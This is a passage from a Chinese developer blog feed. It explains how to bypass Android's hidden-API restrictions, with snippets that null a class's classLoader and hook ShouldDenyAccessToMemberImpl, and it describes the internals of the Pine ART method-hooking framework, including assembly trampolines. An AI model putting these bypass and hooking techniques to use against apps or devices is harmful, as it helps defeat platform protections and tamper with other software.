class="line"> deny_access = runtime->isChangeEnabled(kHideMaxtargetsdkPHiddenApis);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> SdkVersion::kQ:</span><br><span class="line"> deny_access = runtime->isChangeEnabled(kHideMaxtargetsdkQHiddenApis);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> deny_access = IsSdkVersionSetAndMoreThan(runtime->GetTargetSdkVersion(), api_list.GetMaxAllowedSdkVersion());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (access_method != AccessMethod::kNone) {</span><br><span class="line"> <span class="comment">// 省略代码:发出关于访问隐藏API的警告</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// If this access was not denied, move the member into whitelist and skip</span></span><br><span class="line"> <span class="comment">// the warning the next time the member is accessed.</span></span><br><span class="line"> <span class="keyword">if</span> (!deny_access) {</span><br><span class="line"> MaybeUpdateAccessFlags(runtime, member, kAccPublicApi);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> deny_access;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>OK,大致流程都已经清晰,梳理一下:</p><ol><li>如果目标成员是公开API,直接通过</li><li>获取调用者的AccessContext,如果可信那么通过</li><li>如果访问检查被完全关闭,那么通过</li><li>判断目标成员是否在豁免名单里,如果在那么通过</li><li><code>hiddenApiPolicy == EnforcementPolicy::kJustWarn</code>,不会对<code>deny_access</code>赋值,警告后通过</li><li>以上条件都不满足,根据targetSdkVersion决定是否需要拒绝访问</li></ol><h2 id="下有对策"><a href="#下有对策" class="headerlink" title="下有对策"></a>下有对策</h2><p>把系统的策略搞清楚了,接下来绕过就容易了。<br>我们一步一步来:<br>首先如果这个member的access flags里有<code>kAccPublicApi</code>,那么系统就认为这是一个公开API,就不会进行任何限制了,然而我们如果要对access_flags动手脚,必须先拿到这个member,然而系统就是限制了我们去拿这个member的过程,死循环了,放弃;</p><p>然后,如果调用者是可信的,那么也会通过,有这些情况:</p><ol><li>调用者所在的类在系统路径下</li><li>调用者所在的类对应的类加载器(ClassLoader)为null(即被BootClassLoader加载的类)</li><li>debug版并且主动设置了跳过限制,对应接口为VMDebug.allowHiddenApiReflectionFrom(Class<?> klass)</li></ol><p>我们有两种方法,一种是直接把自己的类变成系统类,另一种是通过系统API发起调用;第二种对应的实现方案就是套娃反射,然而现在已经被谷歌封掉了,我也找不到其他API,就只剩下把自己的类变成系统类了。<br>首先排除只能在debug mode工作的3;而1也没法满足,主动修改<code>dex_file->hiddenapi_domain_</code>需要先拿到这个dex_file指针,而不使用ART内部接口的情况下是不方便拿到的,而且修改<code>hiddenapi_domain_</code>需要提前知道这个成员变量对应的偏移,先放弃;2我觉得是这三种方法里最好的,Class对象直接在java层就能拿到,改也可以直接在java层改,类似这样:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Field classLoaderField = Class.class.getDeclaredField(<span class="string">"classLoader"</span>);</span><br><span class="line">classLoaderField.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">classLoaderField.set(MyClass.class, <span class="keyword">null</span>);</span><br></pre></td></tr></table></figure><p>然后就可以用这个MyClass进行反射。<br>问题在于这个classLoader变量也是隐藏API,当然你也可以用Unsafe等方案,但终究不保险;我们最好使用公开API,那有这样的公开API吗?<br>有!<br>dalvik.system.DexFile中有这样一个<a href="https://developer.android.google.cn/reference/dalvik/system/DexFile#loadClass(java.lang.String,%20java.lang.ClassLoader)" target="_blank" rel="noopener">方法</a>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> Class <span class="title">loadClass</span> <span class="params">(String name, ClassLoader loader)</span></span></span><br></pre></td></tr></table></figure><p>第二个参数就是指定该Class的ClassLoader,设置成null即可。<br>但使用这个方法,你需要自己额外准备一个dex文件,加载获得DexFile对象后再调用loadClass,略显繁琐,实际使用的话可以弄个gradle脚本,拦截mergeDexDebug/Release拿到dex;另一个问题是DexFile是Deprecated,虽然现在用没问题,但保不准哪天就被谷歌给删了。<br>提到这个方法,有的小伙伴可能会想起来,我们的目标是获得一个行为受我们控制且class_loader==null的类,<a href="https://developer.android.google.cn/reference/java/lang/reflect/Proxy" target="_blank" rel="noopener">java.lang.reflect.Proxy</a>中也有类似的接口,那么我们可以用动态代理吗?<br>事实证明是不行的,你确实可以获得一个class_loader==null的代理类,然而动态代理只是一个桥梁,最后执行动作是用的<code>InvocationHandler</code>对象,最终栈回溯的结果取决于这个InvocationHandler对应的Class。<br>(注:这就是我当时提出的另一个绕过方法,当时在我自己的贴吧里发了个贴,之后被百度删了,申诉四次没过,呵呵)</p><p>似乎从这里入手不太好的样子,我们继续。<br>第三步和第五步中,都需要通过<code>runtime->GetHiddenApiEnforcementPolicy()</code>的返回值做判断,查看实现可以看见其实就是返回了一个成员变量<code>hidden_api_policy_</code>,那我们改这个成员变量不就行了?然而打开runtime.h你就会发现这个对象太大了,什么东西都往里面扔,改里面的值存在一定风险;搜索一下你会发现art通过RAII机制封装了一个<code>ScopedHiddenApiEnforcementPolicySetting</code>出来,然而这个类的构造函数并没有导出,我们无法直接调用,先放着。</p><p>第四步中提到art内部有一个豁免名单,而这个名单同样保存在runtime中,和上面的情况一样;不过这个API暴露到了java层,java层中有对应的接口(<code>VMRuntime.setHiddenApiExemptions(String[] exemptions)</code>),不过这个接口在黑名单内,也无法直接调用。</p><p>OK,研究完了,得出结论:没有较为方便通用稳定的方法……<br>才怪。<br><strong>我们的最终目标是成功拿到member,反映到代码里就是ShouldDenyAccessToMember返回false,为此我们可以通过各种方式干扰这个函数的执行,但最终都还是为了让它返回false。既然我们只是为了这个,那么其实可以用更直观的方式:native hook。</strong><br>查看art代码可以发现无论是P上的<code>ShouldBlockAccessToMember</code>还是Q上的<code>ShouldDenyAccessToMember</code>,执行流程中都会调用某个关键的且符号已被导出的函数,P上是<code>GetMemberActionImpl</code>,Q上是<code>ShouldDenyAccessToMemberImpl</code>,直接hook住,修改它的返回值就ok了,目前Pine采用了这种方式,具体实现可见<a href="https://github.com/canyie/pine/commit/6d8a578576e15d288e3a6e7cc5179584e4651251" target="_blank" rel="noopener">这个commit</a>。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>嗯,大概就是这样啦~<br>又放一下咱的<a href="//shang.qq.com/wpa/qunwpa?idkey=25549719b948d2aaeb9e579955e39d71768111844b370fcb824d43b9b20e1c04" target="_blank" rel="noopener">QQ群:949888394</a>~<br>感谢你能看到最后~</p>]]></content>
<summary type="html">
<p>2018年发布的Android 9中引入了<a href="https://developer.android.google.cn/distribute/best-practices/develop/restrictions-non-sdk-interfaces" target="_blank" rel="noopener">对隐藏API的限制</a>,这对整个Android生态来说当然是一件好事,但也严重限制了以往我们通过反射等手段实现的“黑科技”(如插件化等),所以开发者们纷纷寻找手段绕过这个限制,比如我曾经提出了两个绕过方法,其中一个便是几乎完美的<a href="https://zhuanlan.zhihu.com/p/59455212" target="_blank" rel="noopener">双重反射(即“元反射”,现在来看叫“套娃反射”比较好)</a>;而在即将发布的Android R中把这个方法封杀了<del>(谷歌:禁止套娃!)</del>,因此我重新研究了Android R中的限制策略。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="hidden-api" scheme="https://blog.canyie.top/tags/hidden-api/"/>
</entry>
<entry>
<title>ART上的动态Java方法hook框架</title>
<link href="https://blog.canyie.top/2020/04/27/dynamic-hooking-framework-on-art/"/>
<id>https://blog.canyie.top/2020/04/27/dynamic-hooking-framework-on-art/</id>
<published>2020-04-27T02:00:00.000Z</published>
<updated>2020-10-25T02:50:19.878Z</updated>
<content type="html"><![CDATA[<p>大家应该还记得我上次介绍的<a href="/2020/02/03/a-new-xposed-style-framework/">Dreamland</a>吧,忘记了也没事,简单介绍一下:这是一个类似Xposed的框架,可以注入应用进程并进行方法hook。进程注入上次已经说过了,另一个重点hook当时是使用了<a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook框架</a>,这是一款非常优秀的hook框架,但是有点问题,不太适合Dreamland;在比较了其他hook框架之后,发现似乎都存在一些问题,最终决定自己动手写一个。已经开源,代码在这:<a href="https://github.com/canyie/pine" target="_blank" rel="noopener">Pine</a>,接下来我会介绍它的具体实现。</p><a id="more"></a><h2 id="其他框架的一些问题"><a href="#其他框架的一些问题" class="headerlink" title="其他框架的一些问题"></a>其他框架的一些问题</h2><p><strong>注:这里并没有贬低其他框架的意思,只是单纯的比较</strong><br>现在是2020年,ART Hook框架已经非常多,但是肯定不是随便拿一个就能用的;我们需要一个能提供Xposed-style hook接口的框架,Xposed的hook接口只要求提供一个callback,是完全动态的,而像<a href="https://github.com/PAGalaxyLab/YAHFA" target="_blank" rel="noopener">YAHFA</a>这样的框架则要求提供一个与目标方法参数与返回值都相同的方法,如果需要调用原方法还需要提供一个backup方法,无法直接做到像Xposed那样的风格的hook。<br>这样一过滤,剩下的框架就不多了,挑出了几个框架:</p><ul><li><a href="https://github.com/asLody/whale" target="_blank" rel="noopener">Whale</a>,原理是设置目标方法为native,然后用libffi动态生成一个处理函数,设置entry_point_from_jni为这个处理函数。这个框架可以直接像Xposed那样hook,不过实测不太稳定,比如在bridge里随便抛个异常(即使被try-catch住)就会导致Runtime直接abort。<a href="https://github.com/frida/frida" target="_blank" rel="noopener">Frida</a>/<a href="https://github.com/asLody/AndHook" target="_blank" rel="noopener">AndHook</a>似乎也是一样的套路,应该也会有这个问题。</li><li><a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook</a>,这个框架对Xposed兼容自带有两种方案:一是用DexMaker动态生成bridge函数,没有什么兼容性问题,但是第一次加载的时候会很慢;二是用动态代理生成bridge方法,这个bridge方法用像whale一样的方案:设置native,libffi动态生成native处理函数,设置entry_point_from_jni。这个方案用起来很快,但是存在挺多坑,稳定性存疑。</li><li><a href="https://github.com/turing-technician/FastHook" target="_blank" rel="noopener">FastHook</a>,根据调用约定在栈里捞参数,作者宣称它“高效稳定、简洁易用”,然而试了下,并不稳定,而且提供的hook接口很难用(一个通用接口有7个参数),而且作者现在似乎不维护了,emmm</li><li><a href="https://github.com/tiann/epic" target="_blank" rel="noopener">Epic</a>,根据调用约定从寄存器和栈里解析参数,<a href="https://github.com/android-hacker/VirtualXposed" target="_blank" rel="noopener">VirtualXposed</a>和<a href="https://www.taichi-app.com/" target="_blank" rel="noopener">太极</a>都在用,经过大量验证非常稳定,不过现在闭源了,开源版有一些bug</li></ul><p>经过对比,发现大多数hook框架都不太符合要求,Epic现在闭源,最终决定自己动手写一个。<br>注:这里只是根据我的需求评估的,如果你可以提供与原方法参数和返回值都相同的hook方法与backup方法,或者对稳定性有较高要求而速度是其次的话,那么更建议使用成熟的<a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook框架</a>。</p><h2 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h2><p>在介绍Pine之前,先介绍一下基础知识。<br>一个方法/构造器在art中表示为一个<code>ArtMethod</code>对象,<code>ArtMethod</code>保存着该方法的信息等。<br>以<a href="http://aospxref.com/android-9.0.0_r45/xref/art/runtime/art_method.h" target="_blank" rel="noopener">Android 9.0的源码</a>为例,一个<code>ArtMethod</code>是这样的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ArtMethod</span> <span class="title">FINAL</span> {</span></span><br><span class="line"> <span class="comment">/** 该方法的所属类 */</span></span><br><span class="line"> GcRoot<mirror::Class> declaring_class_;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 方法的访问标志,比如public,private就存储在这里 */</span></span><br><span class="line"> <span class="built_in">std</span>::atomic<<span class="built_in">std</span>::<span class="keyword">uint32_t</span>> access_flags_;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 省略一些成员</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">PtrSizedFields</span> {</span></span><br><span class="line"> <span class="comment">/** 公共存储区域,Native方法为对应的native函数,非native方法则是其他东西(比如jit要用的ProfilingInfo) */</span></span><br><span class="line"> <span class="keyword">void</span>* data_;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 方法入口,如果已被编译则为编译后的代码入口,未编译则为解释器入口 */</span></span><br><span class="line"> <span class="keyword">void</span>* entry_point_from_quick_compiled_code_;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>略去一些细节,ART的函数调用过程其实很简单:</p><ol><li>caller想办法拿到callee的ArtMethod对象</li><li>将参数按照约定存到寄存器和栈里</li><li>跳转到callee的方法入口</li></ol><h2 id="基本实现"><a href="#基本实现" class="headerlink" title="基本实现"></a>基本实现</h2><p>Pine支持两种方案,一种是替换入口,即修改<code>ArtMethod</code>的entrypoint;另一种类似于native的inline hook,即覆盖掉目标方法的代码开始处的一段代码,用于弥补Android 8.0以下版本入口替换很有可能不生效的问题。</p><h3 id="入口替换"><a href="#入口替换" class="headerlink" title="入口替换"></a>入口替换</h3><p>我们看看上面的<code>ArtMethod</code>,发现了一个很重要的成员:<code>entry_point_from_quick_compiled_code_</code>,这个变量保存至该方法的代码入口,如果我们直接修改这个变量,不就可以达到hook的目的了吗?<br>然而事情并没有这么简单。用入口替换方案去hook自己的方法,大部分情况下是没有问题的;但如果你需要hook系统的方法,并且这个方法不是virtual方法(比如<code>TextView.setText(CharSequence)</code>),那么很有可能不生效。这是因为,Android 8.0以下,art有一个Sharpening优化,如果art能够确定callee的代码入口,那么有可能直接把入口硬编码在机器码内,根本不会去<code>ArtMethod</code>里取入口。</p><p>还有没有其他方法呢?当然有,那就是inline hook。</p><h3 id="inline-hook"><a href="#inline-hook" class="headerlink" title="inline hook"></a>inline hook</h3><p>从上面的分析可以看出,目标方法的代码是一定会用到的;那么我们可以直接修改目标方法的代码,把前几条代码修改为一段跳转指令,这样当这个方法执行时,就会直接跳到我们指定的另一段代码处执行,我们就达到了hook目的。<br>以下情况不能被inline hook:</p><ul><li>jni方法和代理方法。jni方法和代理方法都没有对应的已编译代码,其<code>entry_point_from_quick_compiled_code_</code>固定指向一段trampoline,这个trampoline会跳转到真正的代码处执行。</li><li>方法未被编译且尝试编译失败。</li><li>方法已被编译,但代码太短以至于一个简单的跳转指令都放不下。跳转指令arm32需要8字节,arm64需要16字节;实际上我们可以考虑其他方式跳转,比如如果我们可以偷到目标代码附近的内存,就能直接使用b指令跳转(此方法来自于<a href="https://jmpews.github.io/2017/08/01/pwn/HookZz%E6%A1%86%E6%9E%B6/" target="_blank" rel="noopener">Dobby框架</a>);或者我们可以放一个非法指令,程序执行到这条指令时会产生一个SIGILL信号,我们捕获到这个信号,对寄存器和栈进行操作就能直接控制执行流程(注:此方法来自于卓桐大佬的<a href="https://bbs.pediy.com/thread-257021.htm#异常hook" target="_blank" rel="noopener">Android elf hook的方式</a>)。之所以不做这个处理,是因为这样的方法很少,而且很可能被直接内联到caller里,个人认为没必要。</li><li>方法的前几条代码里有pc寄存器相关指令,hook时没问题,但执行原方法时会有问题(具体见后面的 <a href="#执行原方法">一些问题-执行原方法</a> 部分)</li></ul><p>当出现以上情况时,自动转用入口替换模式。</p><h3 id="四个跳板"><a href="#四个跳板" class="headerlink" title="四个跳板"></a>四个跳板</h3><p>我们需要写四段模板代码,注意要用纯汇编写以避免破坏栈和寄存器,暂时命名为trampoline:</p><ol><li>DirectJumpTrampoline:inline hook使用,功能是跳转至一个绝对地址,需要插入目标方法的代码开始处。</li><li>BridgeJumpTrampoline:两个方案都需要使用,处理一些东西并跳转至Bridge方法,这个bridge是我们预先写好的一个java方法,跳转到这个方法之后我们就回到了java世界,然后就可以开始处理真实的AOP逻辑。</li><li>CallOriginTrampoline:入口替换使用,功能是设置r0寄存器为原方法并跳转至原方法入口。将成为backup方法的入口。(暂未使用,目前发现设置r0寄存器为原方法后有几率造成卡死)</li><li>BackupTrampoline:inline hook使用,设置r0寄存器为原方法、存放被覆盖的代码并跳转至(原方法入口+备份代码大小)处继续执行。将成为backup方法的入口。(其实这段代码叫trampoline是不太合适的)</li></ol><h2 id="一些问题"><a href="#一些问题" class="headerlink" title="一些问题"></a>一些问题</h2><p>基本原理比较简单,但是实现的过程中会遇到很多的问题,这里简单说一下。</p><h3 id="参数解析"><a href="#参数解析" class="headerlink" title="参数解析"></a>参数解析</h3><p>大概想了一下,参数解析有以下方案:</p><ul><li>动态生成出一个有和原方法相同的参数列表的方法,这个方法只是一个bridge,作用就是传递参数和返回值;需要注意的是,这个方法必须要有对应的代码,和一些必要的成员,为此可以有两种方法:<ul><li>通过如<a href="https://github.com/linkedin/dexmaker" target="_blank" rel="noopener">DexMaker</a>等动态字节码生成技术动态生成出这个方法(<a href="https://github.com/ElderDrivers/EdXposed" target="_blank" rel="noopener">EdXposed</a>用的方案);这种方案的主要问题是比较慢,动态生成dex并加载是耗时操作。</li><li>利用java的动态代理动态生成,难点在于如何控制这个新生成的代理方法做你想要做的事;<a href="https://github.com/ganyao114/SandHook/tree/master/xposedcompat_new" target="_blank" rel="noopener">SandHook的xposedcompat_new</a>里实现了一个:把这个代理方法设置为native方法,然后通过libffi动态生成对应的native函数,然后修改其<code>entry_point_from_jni</code>(其实就是Whale那个方案,不过whale是对目标方法,SandHook的xposedcompat_new是对处理方法),这个方案有点问题,凭空把一个非native方法变为native有很多未知的坑等着你去踩。</li></ul></li><li>统一bridge方法,在这个bridge方法里自己解析参数。</li><li>art为了实现java的动态代理,自己就有一个<code>art_quick_proxy_invoke_handler</code>,如果能利用好这个内置函数,那么就可以达到目的。不过看了下代码,这个函数利用起来很难,暂时先放弃。</li></ul><p>最终我选择自己解析参数,hook时较快;为此我们需要了解ART的函数调用约定,根据这个约定去解析。<br>以arm32/thumb2为例,在ART中,r0寄存器固定保存callee的ArtMethod*,r1~r3寄存器保存前三个参数(注:非静态方法实际上第一个参数就是this);同时,sp~sp+12上也传递着r0~r3上的值;多余的参数通过栈传递,比如第四个参数就存在sp+16上;如果一个参数一个寄存器放不下(long/double),那么会占用两个寄存器。不过这只是基本情况,其他情况还需特别处理(如在6.0或以上,如果第一个参数是long/double类型的,那么会跳过r1寄存器等等)。<br>ok,我们发现了一个简单的办法:我们可以修改r1~r3传递其他东西,必须需要的只有sp,因为sp~sp+12上也存放着r0~r3上的值,剩下的参数也通过sp传递,那么我们直接通过sp就能获取到所有参数?<br>兴冲冲的写好代码测试发现,此路不通,通过sp拿到的前几个参数是乱的。为什么?weishu的文章<a href="http://weishu.me/2017/11/23/dexposed-on-art/" target="_blank" rel="noopener">论ART上运行时 Method AOP实现</a>里揭露了答案:</p><blockquote><p>虚拟机本身也是知道 sp + 12 这段空间相当于是浪费的,因此他直接把这段空间当做类似寄存器使用了。</p></blockquote><p>那怎么办呢?在栈上分配内存来放?同样行不通,这样一旦发生栈回溯,sp被修改的那一帧会因为回溯不到对应的函数引发致命错误,导致runtime abort。<br>现在我采用和epic类似的方法实现:在hook时分配一段内存,这段内存用来放r0~r3,先保存了再跳转到bridge方法,bridge方法就可以取出对应的值。<br>另外对象类型要特别处理,art传递对象时其实传的是这个对象的地址,我们接收到的只是一串数字,转换的方法有两个:</p><ul><li>直接通过java层的Unsafe,直接put进地址,拿出来的就是对象</li><li>通过jni,用一个art内部函数把地址转换成jobject,返回到java的时候会自动进行转换</li></ul><p>这里我选择第二种方法,因为第一种需要用反射调用Unsafe,而反射效率不是很高,有较多参数时效率会比较低。</p><h3 id="多线程并发"><a href="#多线程并发" class="headerlink" title="多线程并发"></a>多线程并发</h3><p>上面提到由于没有其他地方放前几个参数,所以在hook时就会提前分配一块地址专门来放,大概这样:</p><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ldr </span><span class="built_in">ip</span>, extra_addr</span><br><span class="line"><span class="keyword">str </span><span class="built_in">r1</span>, [<span class="built_in">ip</span>, <span class="number">#0</span>]</span><br><span class="line"><span class="keyword">str </span><span class="built_in">r2</span>, [<span class="built_in">ip</span>, <span class="number">#4</span>]</span><br><span class="line"><span class="keyword">str </span><span class="built_in">r3</span>, [<span class="built_in">ip</span>, <span class="number">#8</span>]</span><br></pre></td></tr></table></figure><p>然后会在bridge里拿到r1~r3。<br>这段代码在单线程下执行并没有问题,但在多线程环境下,如果存值之后还没来得及取值就被其他线程修改,就会读到错误的值,导致错误。<br>修复这个问题的一种方法是禁止多线程并发执行,比如给目标方法加上synchronized的flag,但是这样显然太重了,我们只需要在存值——取值这段时间里禁止并发即可。为此,我通过CAS机制写了一个自旋锁:</p><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">acquire_lock</span>:</span><br><span class="line"><span class="keyword">ldrex </span><span class="built_in">r0</span>, [<span class="built_in">ip</span>]</span><br><span class="line"><span class="keyword">cmp </span><span class="built_in">r0</span>, <span class="number">#0</span></span><br><span class="line"><span class="keyword">wfene </span>// other thread holding the lock, wait <span class="keyword">it </span>release lock</span><br><span class="line"><span class="keyword">mov </span><span class="built_in">r0</span>, <span class="number">#1</span></span><br><span class="line"><span class="keyword">strexeq </span><span class="built_in">r0</span>, <span class="built_in">r0</span>, [<span class="built_in">ip</span>]</span><br><span class="line"><span class="keyword">cmpeq </span><span class="built_in">r0</span>, <span class="number">#0</span> // store succeeded?</span><br><span class="line"><span class="keyword">bne </span>acquire_lock // acquire lock failed, try again</span><br><span class="line"><span class="keyword">dmb</span></span><br></pre></td></tr></table></figure><p>extras的第一个变量即为锁标志,为0代表无锁,为1代表已有线程持有该锁,获取时通过CAS去抢锁,bridge里将锁标志置0释放锁。注意需要添加内存屏障以阻止部分关键指令被乱序执行引发错误。<br>这里还有一个问题:arm32/thumb2下,ldrex/strex需要一个寄存器来接收结果,而ip寄存器已存放着extras的地址;arm64下stlxr要求source和status不能相同等等,都需要占用一个额外寄存器,这里我选择r0寄存器,原因很简单:r0寄存器固定保存callee的ArtMethod指针,这个值在hook的时候就已确定;跳转到bridge方法时也会更改为bridge的ArtMethod等。<br>(注:发现arm64有一个xzr/wzr寄存器固定为0,如果把lock_flag改成0为有锁1为无锁就可以直接用wzr寄存器了,可以少用一个寄存器,列入TODO列表里了)<br>(注2:仔细思考了一下,发现如果两个线程抢锁,持有锁的线程获取到锁以后还没来得及释放就因为gc等进入checkpoint被挂起,而另一个线程在等锁无法进入checkpoint,导致类似死锁的情况,最终导致挂起所有线程超时runtime abort,没想到怎么解决,暂时先挂着吧)</p><h3 id="执行原方法"><a href="#执行原方法" class="headerlink" title="执行原方法"></a>执行原方法</h3><p>要执行原方法,我们需要一个原方法代码入口。入口替换模式下,直接使用原来那个入口就行;但在inline hook模式下,由于我们修改了方法入口处的代码,需要对原方法代码进行备份,调用原方法的时候直接执行这段备份的代码,然后继续跳转到剩余代码部分执行即可。<br>我们特别写了一段叫做BackupTrampoline的代码实现,以arm32为例:</p><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">FUNCTION</span>(pine_backup_trampoline)</span><br><span class="line"><span class="keyword">ldr </span><span class="built_in">r0</span>, pine_backup_trampoline_origin_method // 将<span class="built_in">r0</span>寄存器设置为原方法</span><br><span class="line"><span class="symbol">VAR</span>(pine_backup_trampoline_override_space)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span> // 会被替换为真实代码</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span> // 会被替换为真实代码</span><br><span class="line"><span class="keyword">ldr </span><span class="built_in">pc</span>, pine_backup_trampoline_remaining_code_entry // 跳转到剩余部分继续执行</span><br><span class="line"><span class="symbol">VAR</span>(pine_backup_trampoline_origin_method)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span></span><br><span class="line"><span class="symbol">VAR</span>(pine_backup_trampoline_remaining_code_entry)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span></span><br></pre></td></tr></table></figure><p>而thumb2需要特别注意,由于在thumb2下一条指令可能是4字节也可能是2字节,如果我们固定为只备份8字节则有可能导致指令被截断(比如4-2-4),所以备份的时候一定要注意指令完整性。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">inline</span> <span class="keyword">bool</span> <span class="title">IsThumb32</span><span class="params">(<span class="keyword">uint16_t</span> inst)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> ((inst & <span class="number">0xF000</span>) == <span class="number">0xF000</span>) || ((inst & <span class="number">0xF800</span>) == <span class="number">0xE800</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">FUNCTION</span>(pine_thumb_backup_trampoline)</span><br><span class="line"><span class="keyword">ldr </span><span class="built_in">r0</span>, pine_thumb_backup_trampoline_origin_method</span><br><span class="line"><span class="symbol">VAR</span>(pine_thumb_backup_trampoline_override_space)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span> // 会被替换为真实代码</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span> // 会被替换为真实代码</span><br><span class="line"><span class="keyword">nop </span>// 可能会被替换为真实代码,否则只是一条<span class="keyword">nop</span></span><br><span class="line"><span class="keyword">ldr </span><span class="built_in">pc</span>, pine_thumb_backup_trampoline_remaining_code_entry // 跳转到剩余部分继续执行</span><br><span class="line"><span class="symbol">VAR</span>(pine_thumb_backup_trampoline_origin_method)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span></span><br><span class="line"><span class="symbol">VAR</span>(pine_thumb_backup_trampoline_remaining_code_entry)</span><br><span class="line"><span class="symbol">.long</span> <span class="number">0</span></span><br></pre></td></tr></table></figure><p>另一个问题是,在inline hook模式下,我们需要把部分原始指令备份到另一个地方,如果这部分指令里有pc相关指令,由于此时指令地址不同,会发生错误。传统native inline hook框架的做法是做指令修复,而因为art上这种情况很少,所以Pine目前并没有指令修复,只是简单的做判断,如果发现这种情况直接转用入口替换模式。<br>(注:其实还可以有另一种方案,就是不用原来的指令,设置r0寄存器为原方法后直接跳转到<code>art_quick_to_interpreter_bridge</code>走解释执行就行,注意需要清掉对应<code>ProfilingInfo</code>的<code>saved_entry_point_</code>,否则可能会直接跳转到原方法入口执行,就死循环了)</p><p>好的,现在我们有了原代码入口,我们可以动态创建出一个backup方法,设置backup方法入口为原代码入口,然后直接反射调用这个方法就行了!不过有一点要注意,由于这个方法是动态创建出来的,而ArtMethod的<code>declaring_class</code>是GcRoot,可能被gc移动,art会自动更新原版ArtMethod里的地址,但是不会更新我们自己创建的ArtMethod里的地址,所以需要我们自己主动更新。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">Pine_updateDeclaringClass</span><span class="params">(JNIEnv *env, jclass, jobject javaOrigin, jobject javaBackup)</span> </span>{</span><br><span class="line"> <span class="keyword">auto</span> origin = art::ArtMethod::FromReflectedMethod(env, javaOrigin);</span><br><span class="line"> <span class="keyword">auto</span> backup = art::ArtMethod::FromReflectedMethod(env, javaBackup);</span><br><span class="line"> <span class="keyword">uint32_t</span> declaring_class = origin->GetDeclaringClass();</span><br><span class="line"> <span class="keyword">if</span> (declaring_class != backup->GetDeclaringClass()) {</span><br><span class="line"> LOGI(<span class="string">"The declaring_class of method has moved by gc, update its reference in backup method now!"</span>);</span><br><span class="line"> backup->SetDeclaringClass(declaring_class);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><del>不过还有一个问题,假如在我们检查完<code>declaring_class</code>之后调用backup之前发生gc,这个class对象被移动了,怎么办呢?难道要在这段时间里直接关闭Moving 